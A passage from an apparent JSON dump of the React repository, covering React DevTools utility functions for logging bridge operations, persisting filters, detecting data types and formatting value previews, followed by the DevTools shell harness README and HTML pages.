removeIndex++) {\n          const id = ((operations[i]: any): number);\n          i += 1;\n\n          logs.push(`Remove suspense node ${id}`);\n        }\n\n        break;\n      }\n      case SUSPENSE_TREE_OPERATION_REORDER_CHILDREN: {\n        const id = ((operations[i + 1]: any): number);\n        const numChildren = ((operations[i + 2]: any): number);\n        i += 3;\n        const children = operations.slice(i, i + numChildren);\n        i += numChildren;\n\n        logs.push(\n          `Re-order suspense node ${id} children ${children.join(',')}`,\n        );\n        break;\n      }\n      case SUSPENSE_TREE_OPERATION_RESIZE: {\n        const id = ((operations[i + 1]: any): number);\n        const numRects = ((operations[i + 2]: any): number);\n        i += 3;\n\n        if (numRects === -1) {\n          logs.push(`Resize suspense node ${id} to null`);\n        } else {\n          let line = `Resize suspense node ${id} to [`;\n          for (let rectIndex = 0; rectIndex < numRects; rectIndex++) {\n            const x = operations[i + 0];\n            const y = operations[i + 1];\n            const width = operations[i + 2];\n            const height = operations[i + 3];\n\n            if (rectIndex > 0) {\n              line += ', ';\n            }\n            line += `(${x}, ${y}, ${width}, ${height})`;\n\n            i += 4;\n          }\n          logs.push(line + ']');\n        }\n\n        break;\n      }\n      case SUSPENSE_TREE_OPERATION_SUSPENDERS: {\n        i++;\n        const changeLength = ((operations[i++]: any): number);\n\n        for (let changeIndex = 0; changeIndex < changeLength; changeIndex++) {\n          const id = operations[i++];\n          const hasUniqueSuspenders = operations[i++] === 1;\n          const endTime = operations[i++] / 1000;\n          const isSuspended = operations[i++] === 1;\n          const environmentNamesLength = operations[i++];\n          i += environmentNamesLength;\n          logs.push(\n            `Suspense node ${id} unique suspenders set to ${String(hasUniqueSuspenders)} ending at ${String(endTime)} is suspended set to ${String(isSuspended)} with ${String(environmentNamesLength)} environments`,\n          );\n        }\n\n        break;\n      }\n      case TREE_OPERATION_APPLIED_ACTIVITY_SLICE_CHANGE: {\n        i++;\n        const activitySliceIDChange = operations[i + 1];\n        logs.push(\n          activitySliceIDChange === 0\n            ? 'Reset applied activity slice'\n            : 'Applied activity slice change to ' + activitySliceIDChange,\n        );\n        break;\n      }\n      default:\n        throw Error(`Unsupported Bridge operation \"${operation}\"`);\n    }\n  }\n\n  console.log(logs.join('\\n  '));\n}\n\nexport function getDefaultComponentFilters(): Array<ComponentFilter> {\n  return [\n    {\n      type: ComponentFilterElementType,\n      value: ElementTypeHostComponent,\n      isEnabled: true,\n    },\n  ];\n}\n\nexport function getSavedComponentFilters(): Array<ComponentFilter> {\n  try {\n    const raw = localStorageGetItem(\n      LOCAL_STORAGE_COMPONENT_FILTER_PREFERENCES_KEY,\n    );\n    if (raw != null) {\n      const parsedFilters: Array<ComponentFilter> = JSON.parse(raw);\n      return persistableComponentFilters(parsedFilters);\n    }\n  } catch (error) {}\n  return getDefaultComponentFilters();\n}\n\nexport function setSavedComponentFilters(\n  componentFilters: Array<ComponentFilter>,\n): void {\n  localStorageSetItem(\n    LOCAL_STORAGE_COMPONENT_FILTER_PREFERENCES_KEY,\n    JSON.stringify(persistableComponentFilters(componentFilters)),\n  );\n}\n\nexport function persistableComponentFilters(\n  componentFilters: Array<ComponentFilter>,\n): Array<ComponentFilter> {\n  // This is just an additional check to preserve the previous state\n  // Filters can be stored on the backend side or in user land (in a window object)\n  if (!Array.isArray(componentFilters)) {\n    return componentFilters;\n  }\n\n  return componentFilters.filter(f => {\n    return (\n      // Following __debugSource removal from Fiber, the new approach for finding the source location\n      // of a component, represented by the Fiber, is based on lazily generating and parsing component stack frames\n      // To find the original location, React DevTools will perform symbolication, source maps are required for that.\n      // In order to start filtering Fibers, we need to find location for all of them, which can't be done lazily.\n      // Eager symbolication can become quite expensive for large applications.\n      f.type !== ComponentFilterLocation &&\n      // Activity slice filters are based on DevTools instance IDs which do not persist across sessions.\n      f.type !== ComponentFilterActivitySlice\n    );\n  });\n}\n\nconst vscodeFilepath = 'vscode://file/{path}:{line}:{column}';\n\nexport function getDefaultPreset(): 'custom' | 'vscode' {\n  return typeof process.env.EDITOR_URL === 'string' ? 'custom' : 'vscode';\n}\n\nexport function getDefaultOpenInEditorURL(): string {\n  return typeof process.env.EDITOR_URL === 'string'\n    ? process.env.EDITOR_URL\n    : vscodeFilepath;\n}\n\nexport function getOpenInEditorURL(): string {\n  try {\n    const rawPreset = localStorageGetItem(\n      LOCAL_STORAGE_OPEN_IN_EDITOR_URL_PRESET,\n    );\n    switch (rawPreset) {\n      case '\"vscode\"':\n        return vscodeFilepath;\n    }\n    const raw = localStorageGetItem(LOCAL_STORAGE_OPEN_IN_EDITOR_URL);\n    if (raw != null) {\n      return JSON.parse(raw);\n    }\n  } catch (error) {}\n  return getDefaultOpenInEditorURL();\n}\n\nexport function getAlwaysOpenInEditor(): boolean {\n  try {\n    const raw = localStorageGetItem(LOCAL_STORAGE_ALWAYS_OPEN_IN_EDITOR);\n    return raw === 'true';\n  } catch (error) {}\n  return false;\n}\n\ntype ParseElementDisplayNameFromBackendReturn = {\n  formattedDisplayName: string | null,\n  hocDisplayNames: Array<string> | null,\n  compiledWithForget: boolean,\n};\nexport function parseElementDisplayNameFromBackend(\n  displayName: string | null,\n  type: ElementType,\n): ParseElementDisplayNameFromBackendReturn {\n  if (displayName === null) {\n    return {\n      formattedDisplayName: null,\n      hocDisplayNames: null,\n      compiledWithForget: false,\n    };\n  }\n\n  if (displayName.startsWith('Forget(')) {\n    const displayNameWithoutForgetWrapper = displayName.slice(\n      7,\n      displayName.length - 1,\n    );\n\n    const {formattedDisplayName, hocDisplayNames} =\n      parseElementDisplayNameFromBackend(displayNameWithoutForgetWrapper, type);\n    return {formattedDisplayName, hocDisplayNames, compiledWithForget: true};\n  }\n\n  let hocDisplayNames = null;\n  switch (type) {\n    case ElementTypeClass:\n    case ElementTypeForwardRef:\n    case ElementTypeFunction:\n    case ElementTypeMemo:\n    case ElementTypeVirtual:\n      if (displayName.indexOf('(') >= 0) {\n        const matches = displayName.match(/[^()]+/g);\n        if (matches != null) {\n          // $FlowFixMe[incompatible-type]\n          displayName = matches.pop();\n          hocDisplayNames = matches;\n        }\n      }\n      break;\n    default:\n      break;\n  }\n\n  return {\n    // $FlowFixMe[incompatible-return]\n    formattedDisplayName: displayName,\n    hocDisplayNames,\n    compiledWithForget: false,\n  };\n}\n\n// Pulled from react-compat\n// https://github.com/developit/preact-compat/blob/7c5de00e7c85e2ffd011bf3af02899b63f699d3a/src/index.js#L349\nexport function shallowDiffers(prev: Object, next: Object): boolean {\n  for (const attribute in prev) {\n    if (!(attribute in next)) {\n      return true;\n    }\n  }\n  for (const attribute in next) {\n    if (prev[attribute] !== next[attribute]) {\n      return true;\n    }\n  }\n  return false;\n}\n\nexport function getInObject(object: Object, path: Array<string | number>): any {\n  return path.reduce((reduced: Object, attr: any): any => {\n    if (reduced) {\n      if (hasOwnProperty.call(reduced, attr)) {\n        return reduced[attr];\n      }\n      if (typeof reduced[Symbol.iterator] === 'function') {\n        // Convert iterable to array and return array[index]\n        //\n        // TRICKY\n        // Don't use [...spread] syntax for this purpose.\n        // This project uses @babel/plugin-transform-spread in \"loose\" mode which only works with Array values.\n        // Other types (e.g. typed arrays, Sets) will not spread correctly.\n        return Array.from(reduced)[attr];\n      }\n    }\n\n    return null;\n  }, object);\n}\n\nexport function deletePathInObject(\n  object: Object,\n  path: Array<string | number>,\n) {\n  const length = path.length;\n  const last = path[length - 1];\n  if (object != null) {\n    const parent = getInObject(object, path.slice(0, length - 1));\n    if (parent) {\n      if (isArray(parent)) {\n        parent.splice(((last: any): number), 1);\n      } else {\n        delete parent[last];\n      }\n    }\n  }\n}\n\nexport function renamePathInObject(\n  object: Object,\n  oldPath: Array<string | number>,\n  newPath: Array<string | number>,\n) {\n  const length = oldPath.length;\n  if (object != null) {\n    const parent = getInObject(object, oldPath.slice(0, length - 1));\n    if (parent) {\n      const lastOld = oldPath[length - 1];\n      const lastNew = newPath[length - 1];\n      parent[lastNew] = parent[lastOld];\n      if (isArray(parent)) {\n        parent.splice(((lastOld: any): number), 1);\n      } else {\n        delete parent[lastOld];\n      }\n    }\n  }\n}\n\nexport function setInObject(\n  object: Object,\n  path: Array<string | number>,\n  value: any,\n) {\n  const length = path.length;\n  const last = path[length - 1];\n  if (object != null) {\n    const parent = getInObject(object, path.slice(0, length - 1));\n    if (parent) {\n      parent[last] = value;\n    }\n  }\n}\n\nexport type DataType =\n  | 'array'\n  | 'array_buffer'\n  | 'bigint'\n  | 'boolean'\n  | 'class_instance'\n  | 'data_view'\n  | 'date'\n  | 'error'\n  | 'function'\n  | 'html_all_collection'\n  | 'html_element'\n  | 'infinity'\n  | 'iterator'\n  | 'opaque_iterator'\n  | 'nan'\n  | 'null'\n  | 'number'\n  | 'thenable'\n  | 'object'\n  | 'react_element'\n  | 'react_lazy'\n  | 'regexp'\n  | 'string'\n  | 'symbol'\n  | 'typed_array'\n  | 'undefined'\n  | 'unknown';\n\nfunction isError(data: Object): boolean {\n  // If it doesn't event look like an error, it won't be an actual error.\n  if ('name' in data && 'message' in data) {\n    while (data) {\n      // $FlowFixMe[method-unbinding]\n      if (Object.prototype.toString.call(data) === '[object Error]') {\n        return true;\n      }\n      data = Object.getPrototypeOf(data);\n    }\n  }\n\n  return false;\n}\n\n/**\n * Get a enhanced/artificial type string based on the object instance\n */\nexport function getDataType(data: Object): DataType {\n  if (data === null) {\n    return 'null';\n  } else if (data === undefined) {\n    return 'undefined';\n  }\n\n  if (typeof HTMLElement !== 'undefined' && data instanceof HTMLElement) {\n    return 'html_element';\n  }\n\n  const type = typeof data;\n  switch (type) {\n    case 'bigint':\n      return 'bigint';\n    case 'boolean':\n      return 'boolean';\n    case 'function':\n      return 'function';\n    case 'number':\n      if (Number.isNaN(data)) {\n        return 'nan';\n      } else if (!Number.isFinite(data)) {\n        return 'infinity';\n      } else {\n        return 'number';\n      }\n    case 'object':\n      switch (data.$$typeof) {\n        case REACT_ELEMENT_TYPE:\n        case REACT_LEGACY_ELEMENT_TYPE:\n          return 'react_element';\n        case REACT_LAZY_TYPE:\n          return 'react_lazy';\n      }\n      if (isArray(data)) {\n        return 'array';\n      } else if (ArrayBuffer.isView(data)) {\n        return hasOwnProperty.call(data.constructor, 'BYTES_PER_ELEMENT')\n          ? 'typed_array'\n          : 'data_view';\n      } else if (data.constructor && data.constructor.name === 'ArrayBuffer') {\n        // HACK This ArrayBuffer check is gross; is there a better way?\n        // We could try to create a new DataView with the value.\n        // If it doesn't error, we know it's an ArrayBuffer,\n        // but this seems kind of awkward and expensive.\n        return 'array_buffer';\n      } else if (typeof data[Symbol.iterator] === 'function') {\n        const iterator = data[Symbol.iterator]();\n        if (!iterator) {\n          // Proxies might break assumptoins about iterators.\n          // See github.com/facebook/react/issues/21654\n        } else {\n          return iterator === data ? 'opaque_iterator' : 'iterator';\n        }\n      } else if (data.constructor && data.constructor.name === 'RegExp') {\n        return 'regexp';\n      } else if (typeof data.then === 'function') {\n        return 'thenable';\n      } else if (isError(data)) {\n        return 'error';\n      } else {\n        // $FlowFixMe[method-unbinding]\n        const toStringValue = Object.prototype.toString.call(data);\n        if (toStringValue === '[object Date]') {\n          return 'date';\n        } else if (toStringValue === '[object HTMLAllCollection]') {\n          return 'html_all_collection';\n        }\n      }\n\n      if (!isPlainObject(data)) {\n        return 'class_instance';\n      }\n\n      return 'object';\n    case 'string':\n      return 'string';\n    case 'symbol':\n      return 'symbol';\n    case 'undefined':\n      if (\n        // $FlowFixMe[method-unbinding]\n        Object.prototype.toString.call(data) === '[object HTMLAllCollection]'\n      ) {\n        return 'html_all_collection';\n      }\n      return 'undefined';\n    default:\n      return 'unknown';\n  }\n}\n\n// Fork of packages/react-is/src/ReactIs.js:30, but with legacy element type\n// Which has been changed in https://github.com/facebook/react/pull/28813\nfunction typeOfWithLegacyElementSymbol(object: any): mixed {\n  if (typeof object === 'object' && object !== null) {\n    const $$typeof = object.$$typeof;\n    switch ($$typeof) {\n      case REACT_ELEMENT_TYPE:\n      case REACT_LEGACY_ELEMENT_TYPE:\n        const type = object.type;\n\n        switch (type) {\n          case REACT_FRAGMENT_TYPE:\n          case REACT_PROFILER_TYPE:\n          case REACT_STRICT_MODE_TYPE:\n          case REACT_SUSPENSE_TYPE:\n          case REACT_SUSPENSE_LIST_TYPE:\n          case REACT_VIEW_TRANSITION_TYPE:\n            return type;\n          default:\n            const $$typeofType = type && type.$$typeof;\n\n            switch ($$typeofType) {\n              case REACT_CONTEXT_TYPE:\n              case REACT_FORWARD_REF_TYPE:\n              case REACT_LAZY_TYPE:\n              case REACT_MEMO_TYPE:\n                return $$typeofType;\n              case REACT_CONSUMER_TYPE:\n                return $$typeofType;\n              // Fall through\n              default:\n                return $$typeof;\n            }\n        }\n      case REACT_PORTAL_TYPE:\n        return $$typeof;\n    }\n  }\n\n  return undefined;\n}\n\nexport function getDisplayNameForReactElement(\n  element: React$Element<any>,\n): string | null {\n  const elementType = typeOfWithLegacyElementSymbol(element);\n  switch (elementType) {\n    case REACT_CONSUMER_TYPE:\n      return 'ContextConsumer';\n    case LEGACY_REACT_PROVIDER_TYPE:\n      return 'ContextProvider';\n    case REACT_CONTEXT_TYPE:\n      return 'Context';\n    case REACT_FORWARD_REF_TYPE:\n      return 'ForwardRef';\n    case REACT_FRAGMENT_TYPE:\n      return 'Fragment';\n    case REACT_LAZY_TYPE:\n      return 'Lazy';\n    case REACT_MEMO_TYPE:\n      return 'Memo';\n    case REACT_PORTAL_TYPE:\n      return 'Portal';\n    case REACT_PROFILER_TYPE:\n      return 'Profiler';\n    case REACT_STRICT_MODE_TYPE:\n      return 'StrictMode';\n    case REACT_SUSPENSE_TYPE:\n      return 'Suspense';\n    case REACT_SUSPENSE_LIST_TYPE:\n      return 'SuspenseList';\n    case REACT_VIEW_TRANSITION_TYPE:\n      return 'ViewTransition';\n    case REACT_TRACING_MARKER_TYPE:\n      return 'TracingMarker';\n    default:\n      const {type} = element;\n      if (typeof type === 'string') {\n        return type;\n      } else if (typeof type === 'function') {\n        return getDisplayName(type, 'Anonymous');\n      } else if (type != null) {\n        return 'NotImplementedInDevtools';\n      } else {\n        return 'Element';\n      }\n  }\n}\n\nconst MAX_PREVIEW_STRING_LENGTH = 50;\n\nfunction truncateForDisplay(\n  string: string,\n  length: number = MAX_PREVIEW_STRING_LENGTH,\n) {\n  if (string.length > length) {\n    return string.slice(0, length) + '…';\n  } else {\n    return string;\n  }\n}\n\n// Attempts to mimic Chrome's inline preview for values.\n// For example, the following value...\n//   {\n//      foo: 123,\n//      bar: \"abc\",\n//      baz: [true, false],\n//      qux: { ab: 1, cd: 2 }\n//   };\n//\n// Would show a preview of...\n//   {foo: 123, bar: \"abc\", baz: Array(2), qux: {…}}\n//\n// And the following value...\n//   [\n//     123,\n//     \"abc\",\n//     [true, false],\n//     { foo: 123, bar: \"abc\" }\n//   ];\n//\n// Would show a preview of...\n//   [123, \"abc\", Array(2), {…}]\nexport function formatDataForPreview(\n  data: any,\n  showFormattedValue: boolean,\n): string {\n  if (data != null && hasOwnProperty.call(data, meta.type)) {\n    return showFormattedValue\n      ? data[meta.preview_long]\n      : data[meta.preview_short];\n  }\n\n  const type = getDataType(data);\n\n  switch (type) {\n    case 'html_element':\n      return `<${truncateForDisplay(data.tagName.toLowerCase())} />`;\n    case 'function':\n      if (typeof data.name === 'function' || data.name === '') {\n        return '() => {}';\n      }\n      return `${truncateForDisplay(data.name)}() {}`;\n    case 'string':\n      return `\"${data}\"`;\n    case 'bigint':\n      return truncateForDisplay(data.toString() + 'n');\n    case 'regexp':\n      return truncateForDisplay(data.toString());\n    case 'symbol':\n      return truncateForDisplay(data.toString());\n    case 'react_element':\n      return `<${truncateForDisplay(\n        getDisplayNameForReactElement(data) || 'Unknown',\n      )} />`;\n    case 'react_lazy':\n      // To avoid actually initialize a lazy to cause a side-effect we make some assumptions\n      // about the structure of the payload even though that's not really part of the contract.\n      // In practice, this is really just coming from React.lazy helper or Flight.\n      const payload = data._payload;\n      if (payload !== null && typeof payload === 'object') {\n        if (payload._status === 0) {\n          // React.lazy constructor pending\n          return `pending lazy()`;\n        }\n        if (payload._status === 1 && payload._result != null) {\n          // React.lazy constructor fulfilled\n          if (showFormattedValue) {\n            const formatted = formatDataForPreview(\n              payload._result.default,\n              false,\n            );\n            return `fulfilled lazy() {${truncateForDisplay(formatted)}}`;\n          } else {\n            return `fulfilled lazy() {…}`;\n          }\n        }\n        if (payload._status === 2) {\n          // React.lazy constructor rejected\n          if (showFormattedValue) {\n            const formatted = formatDataForPreview(payload._result, false);\n            return `rejected lazy() {${truncateForDisplay(formatted)}}`;\n          } else {\n            return `rejected lazy() {…}`;\n          }\n        }\n        if (payload.status === 'pending' || payload.status === 'blocked') {\n          // React Flight pending\n          return `pending lazy()`;\n        }\n        if (payload.status === 'fulfilled') {\n          // React Flight fulfilled\n          if (showFormattedValue) {\n            const formatted = formatDataForPreview(payload.value, false);\n            return `fulfilled lazy() {${truncateForDisplay(formatted)}}`;\n          } else {\n            return `fulfilled lazy() {…}`;\n          }\n        }\n        if (payload.status === 'rejected') {\n          // React Flight rejected\n          if (showFormattedValue) {\n            const formatted = formatDataForPreview(payload.reason, false);\n            return `rejected lazy() {${truncateForDisplay(formatted)}}`;\n          } else {\n            return `rejected lazy() {…}`;\n          }\n        }\n      }\n      // Some form of uninitialized\n      return 'lazy()';\n    case 'array_buffer':\n      return `ArrayBuffer(${data.byteLength})`;\n    case 'data_view':\n      return `DataView(${data.buffer.byteLength})`;\n    case 'array':\n      if (showFormattedValue) {\n        let formatted = '';\n        for (let i = 0; i < data.length; i++) {\n          if (i > 0) {\n            formatted += ', ';\n          }\n          formatted += formatDataForPreview(data[i], false);\n          if (formatted.length > MAX_PREVIEW_STRING_LENGTH) {\n            // Prevent doing a lot of unnecessary iteration...\n            break;\n          }\n        }\n        return `[${truncateForDisplay(formatted)}]`;\n      } else {\n        const length = hasOwnProperty.call(data, meta.size)\n          ? data[meta.size]\n          : data.length;\n        return `Array(${length})`;\n      }\n    case 'typed_array':\n      const shortName = `${data.constructor.name}(${data.length})`;\n      if (showFormattedValue) {\n        let formatted = '';\n        for (let i = 0; i < data.length; i++) {\n          if (i > 0) {\n            formatted += ', ';\n          }\n          formatted += data[i];\n          if (formatted.length > MAX_PREVIEW_STRING_LENGTH) {\n            // Prevent doing a lot of unnecessary iteration...\n            break;\n          }\n        }\n        return `${shortName} [${truncateForDisplay(formatted)}]`;\n      } else {\n        return shortName;\n      }\n    case 'iterator':\n      const name = data.constructor.name;\n\n      if (showFormattedValue) {\n        // TRICKY\n        // Don't use [...spread] syntax for this purpose.\n        // This project uses @babel/plugin-transform-spread in \"loose\" mode which only works with Array values.\n        // Other types (e.g. typed arrays, Sets) will not spread correctly.\n        const array = Array.from(data);\n\n        let formatted = '';\n        for (let i = 0; i < array.length; i++) {\n          const entryOrEntries = array[i];\n\n          if (i > 0) {\n            formatted += ', ';\n          }\n\n          // TRICKY\n          // Browsers display Maps and Sets differently.\n          // To mimic their behavior, detect if we've been given an entries tuple.\n          //   Map(2) {\"abc\" => 123, \"def\" => 123}\n          //   Set(2) {\"abc\", 123}\n          if (isArray(entryOrEntries)) {\n            const key = formatDataForPreview(entryOrEntries[0], true);\n            const value = formatDataForPreview(entryOrEntries[1], false);\n            formatted += `${key} => ${value}`;\n          } else {\n            formatted += formatDataForPreview(entryOrEntries, false);\n          }\n\n          if (formatted.length > MAX_PREVIEW_STRING_LENGTH) {\n            // Prevent doing a lot of unnecessary iteration...\n            break;\n          }\n        }\n\n        return `${name}(${data.size}) {${truncateForDisplay(formatted)}}`;\n      } else {\n        return `${name}(${data.size})`;\n      }\n    case 'opaque_iterator': {\n      return data[Symbol.toStringTag];\n    }\n    case 'date':\n      return data.toString();\n    case 'class_instance':\n      try {\n        let resolvedConstructorName = data.constructor.name;\n        if (typeof resolvedConstructorName === 'string') {\n          return resolvedConstructorName;\n        }\n\n        resolvedConstructorName = Object.getPrototypeOf(data).constructor.name;\n        if (typeof resolvedConstructorName === 'string') {\n          return resolvedConstructorName;\n        }\n\n        try {\n          return truncateForDisplay(String(data));\n        } catch (error) {\n          return 'unserializable';\n        }\n      } catch (error) {\n        return 'unserializable';\n      }\n    case 'thenable':\n      let displayName: string;\n      if (isPlainObject(data)) {\n        displayName = 'Thenable';\n      } else {\n        let resolvedConstructorName = data.constructor.name;\n        if (typeof resolvedConstructorName !== 'string') {\n          resolvedConstructorName =\n            Object.getPrototypeOf(data).constructor.name;\n        }\n        if (typeof resolvedConstructorName === 'string') {\n          displayName = resolvedConstructorName;\n        } else {\n          displayName = 'Thenable';\n        }\n      }\n      switch (data.status) {\n        case 'pending':\n          return `pending ${displayName}`;\n        case 'fulfilled':\n          if (showFormattedValue) {\n            const formatted = formatDataForPreview(data.value, false);\n            return `fulfilled ${displayName} {${truncateForDisplay(formatted)}}`;\n          } else {\n            return `fulfilled ${displayName} {…}`;\n          }\n        case 'rejected':\n          if (showFormattedValue) {\n            const formatted = formatDataForPreview(data.reason, false);\n            return `rejected ${displayName} {${truncateForDisplay(formatted)}}`;\n          } else {\n            return `rejected ${displayName} {…}`;\n          }\n        default:\n          return displayName;\n      }\n    case 'object':\n      if (showFormattedValue) {\n        const keys = Array.from(getAllEnumerableKeys(data)).sort(alphaSortKeys);\n\n        let formatted = '';\n        for (let i = 0; i < keys.length; i++) {\n          const key = keys[i];\n          if (i > 0) {\n            formatted += ', ';\n          }\n          formatted += `${key.toString()}: ${formatDataForPreview(\n            data[key],\n            false,\n          )}`;\n          if (formatted.length > MAX_PREVIEW_STRING_LENGTH) {\n            // Prevent doing a lot of unnecessary iteration...\n            break;\n          }\n        }\n        return `{${truncateForDisplay(formatted)}}`;\n      } else {\n        return '{…}';\n      }\n    case 'error':\n      return truncateForDisplay(String(data));\n    case 'boolean':\n    case 'number':\n    case 'infinity':\n    case 'nan':\n    case 'null':\n    case 'undefined':\n      return String(data);\n    default:\n      try {\n        return truncateForDisplay(String(data));\n      } catch (error) {\n        return 'unserializable';\n      }\n  }\n}\n\n// Basically checking that the object only has Object in its prototype chain\nexport const isPlainObject = (object: Object): boolean => {\n  const objectPrototype = Object.getPrototypeOf(object);\n  if (!objectPrototype) return true;\n\n  const objectParentPrototype = Object.getPrototypeOf(objectPrototype);\n  return !objectParentPrototype;\n};\n\nexport function backendToFrontendSerializedElementMapper(\n  element: SerializedElementBackend,\n): SerializedElementFrontend {\n  const {formattedDisplayName, hocDisplayNames, compiledWithForget} =\n    parseElementDisplayNameFromBackend(element.displayName, element.type);\n\n  return {\n    ...element,\n    displayName: formattedDisplayName,\n    hocDisplayNames,\n    compiledWithForget,\n  };\n}\n\n/**\n * Should be used when treating url as a Chrome Resource URL.\n */\nexport function normalizeUrlIfValid(url: string): string {\n  try {\n    // TODO: Chrome will use the basepath to create a Resource URL.\n    return new URL(url).toString();\n  } catch {\n    // Giving up if it's not a valid URL without basepath\n    return url;\n  }\n}\n\nexport function getIsReloadAndProfileSupported(): boolean {\n  // Notify the frontend if the backend supports the Storage API (e.g. localStorage).\n  // If not, features like reload-and-profile will not work correctly and must be disabled.\n  let isBackendStorageAPISupported = false;\n  try {\n    localStorage.getItem('test');\n    isBackendStorageAPISupported = true;\n  } catch (error) {}\n\n  return isBackendStorageAPISupported && isSynchronousXHRSupported();\n}\n\n// Expected to be used only by browser extension and react-devtools-inline\nexport function getIfReloadedAndProfiling(): boolean {\n  return (\n    sessionStorageGetItem(SESSION_STORAGE_RELOAD_AND_PROFILE_KEY) === 'true'\n  );\n}\n\nexport function getProfilingSettings(): ProfilingSettings {\n  return {\n    recordChangeDescriptions:\n      sessionStorageGetItem(SESSION_STORAGE_RECORD_CHANGE_DESCRIPTIONS_KEY) ===\n      'true',\n    recordTimeline:\n      sessionStorageGetItem(SESSION_STORAGE_RECORD_TIMELINE_KEY) === 'true',\n  };\n}\n\nexport function onReloadAndProfile(\n  recordChangeDescriptions: boolean,\n  recordTimeline: boolean,\n): void {\n  sessionStorageSetItem(SESSION_STORAGE_RELOAD_AND_PROFILE_KEY, 'true');\n  sessionStorageSetItem(\n    SESSION_STORAGE_RECORD_CHANGE_DESCRIPTIONS_KEY,\n    recordChangeDescriptions ? 'true' : 'false',\n  );\n  sessionStorageSetItem(\n    SESSION_STORAGE_RECORD_TIMELINE_KEY,\n    recordTimeline ? 'true' : 'false',\n  );\n}\n\nexport function onReloadAndProfileFlagsReset(): void {\n  sessionStorageRemoveItem(SESSION_STORAGE_RELOAD_AND_PROFILE_KEY);\n  sessionStorageRemoveItem(SESSION_STORAGE_RECORD_CHANGE_DESCRIPTIONS_KEY);\n  sessionStorageRemoveItem(SESSION_STORAGE_RECORD_TIMELINE_KEY);\n}\n\nexport function unionOfTwoArrays<T>(a: Array<T>, b: Array<T>): Array<T> {\n  let result = a;\n  for (let i = 0; i < b.length; i++) {\n    const value = b[i];\n    if (a.indexOf(value) === -1) {\n      if (result === a) {\n        // Lazily copy\n        result = a.slice(0);\n      }\n      result.push(value);\n    }\n  }\n  return result;\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/README.md",
    "content": "Harness for testing local changes to the `react-devtools-inline` and `react-devtools-shared` packages.\n\n## Development\n\nThis target should be run in parallel with the `react-devtools-inline` package. The first step then is to run that target following the instructions in the [`react-devtools-inline` README's local development section](../react-devtools-inline/README.md#local-development).\n\nThe test harness can then be run as follows:\n```sh\ncd packages/react-devtools-shell\n\nyarn start\n```\n\nOnce you set both up, you can view the test harness with inlined devtools in browser at http://localhost:8080/\n"
  },
  {
    "path": "packages/react-devtools-shell/constants.js",
    "content": "const SUCCESSFUL_COMPILATION_MESSAGE = 'Compiled successfully.';\n\nmodule.exports = {\n  SUCCESSFUL_COMPILATION_MESSAGE,\n};\n"
  },
  {
    "path": "packages/react-devtools-shell/e2e-regression.html",
    "content": "<!doctype html>\n<html>\n  <head>\n    <meta charset=\"utf8\">\n    <title>React DevTools</title>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <style>\n      * {\n        box-sizing: border-box;\n      }\n      body {\n        margin: 0;\n        padding: 0;\n        font-family: -apple-system, BlinkMacSystemFont, Segoe UI, Helvetica, Arial,\n          sans-serif, Apple Color Emoji, Segoe UI Emoji, Segoe UI Symbol;\n        font-size: 12px;\n        line-height: 1.5;\n      }\n      #iframe {\n        position: absolute;\n        top: 0;\n        left: 0;\n        width: 100vw;\n        height: 50vh;\n      }\n      #devtools {\n        position: absolute;\n        bottom: 0;\n        left: 0;\n        width: 100vw;\n        height: 50vh;\n      }\n    </style>\n  </head>\n  <body>\n    <iframe id=\"iframe\"></iframe>\n    <div id=\"devtools\"></div>\n    <script src=\"dist/e2e-devtools-regression.js\"></script>\n  </body>\n</html>"
  },
  {
    "path": "packages/react-devtools-shell/e2e.html",
    "content": "<!doctype html>\n<html>\n  <head>\n    <meta charset=\"utf8\">\n    <title>React DevTools</title>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <style>\n      * {\n        box-sizing: border-box;\n      }\n      body {\n        margin: 0;\n        padding: 0;\n        font-family: -apple-system, BlinkMacSystemFont, Segoe UI, Helvetica, Arial,\n          sans-serif, Apple Color Emoji, Segoe UI Emoji, Segoe UI Symbol;\n        font-size: 12px;\n        line-height: 1.5;\n      }\n      #iframe {\n        position: absolute;\n        top: 0;\n        left: 0;\n        width: 100vw;\n        height: 50vh;\n      }\n      #devtools {\n        position: absolute;\n        bottom: 0;\n        left: 0;\n        width: 100vw;\n        height: 50vh;\n      }\n    </style>\n  </head>\n  <body>\n    <iframe id=\"iframe\"></iframe>\n    <div id=\"devtools\"></div>\n    <script src=\"dist/e2e-devtools.js\"></script>\n  </body>\n</html>"
  },
  {
    "path": "packages/react-devtools-shell/index.html",
    "content": "<!doctype html>\n<html>\n\n<head>\n  <meta charset=\"utf8\">\n  <title>React DevTools</title>\n  <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n  <style>\n    #panes {\n      display: grid;\n      gap: 5px;\n      position: relative;\n      overflow: hidden;\n    }\n\n    #divider {\n      position: absolute;\n      z-index: 10000002;\n      background-color: #ccc;\n      transition: background-color 0.2s;\n    }\n\n    #divider:hover,\n    #divider.dragging {\n      background-color: #aaa;\n    }\n\n    #divider.horizontal-divider {\n      width: 100%;\n      height: 5px;\n      cursor: row-resize;\n    }\n\n    #divider.vertical-divider {\n      width: 5px;\n      height: 100%;\n      cursor: col-resize;\n    }\n\n    #target {\n      height: 100%;\n      width: 100%;\n      border: none;\n      overflow-y: auto;\n    }\n\n    #devtools {\n      height: 100%;\n      width: 100%;\n      overflow-y: auto;\n      z-index: 10000001;\n    }\n\n    body {\n      height: 100vh;\n      width: 100vw;\n      display: grid;\n      grid-template-rows: auto 1fr;\n      margin: 0;\n      padding: 0;\n      font-family: -apple-system, BlinkMacSystemFont, Segoe UI, Helvetica, Arial,\n        sans-serif, Apple Color Emoji, Segoe UI Emoji, Segoe UI Symbol;\n      font-size: 12px;\n      line-height: 1.5;\n    }\n\n    .optionsRow {\n      width: 100%;\n      display: flex;\n      padding: 0.25rem;\n      background: aliceblue;\n      border-bottom: 1px solid lightblue;\n      box-sizing: border-box;\n    }\n\n    .optionsRowSpacer {\n      flex: 1;\n    }\n  </style>\n</head>\n\n<body>\n  <div class=\"optionsRow\">\n    <button id=\"mountButton\">Unmount test app</button>\n    <div class=\"optionsRowSpacer\">&nbsp;</div>\n    <span>\n      <a href=\"/multi.html\">multi DevTools</a>\n      |\n      <a href=\"/e2e.html\">e2e tests</a>\n      |\n      <a href=\"/e2e-regression.html\">e2e regression tests</a>\n      |\n      <a href=\"/perf-regression.html\">perf regression tests</a>\n    </span>\n\n    <label style=\"margin-left: 4px\">\n      Layout:\n      <select 